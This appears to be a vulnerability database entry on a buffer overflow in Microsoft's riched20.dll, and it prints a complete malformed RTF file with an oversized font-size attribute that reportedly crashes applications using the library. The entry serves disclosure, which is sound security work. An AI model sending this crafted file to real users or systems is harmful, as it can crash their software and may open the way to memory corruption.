• info
• discussion
• exploit
• solution
• references

Microsoft Riched20.dll Attribute Buffer Overflow Vulnerability

The following RTF file supplied by Jie Dong <Thkrdev@yoursft.com> will reportedly cause the application calling riched20.dll to fail:

{\rtf1\ansi\ansicpg936\deff0\deflang1033\deflangfe2052{\fonttbl{\f0
\fnil\fprq2\fcharset134 \'cb\'ce\'cc\'e5;}}
{\colortbl ;\red255\green0\blue255;}
\viewkind4\uc1\pard\cf1\kerning2\f0
\fs18121111111111111111111111111111111110000 www.yoursft.com\fs20\par
}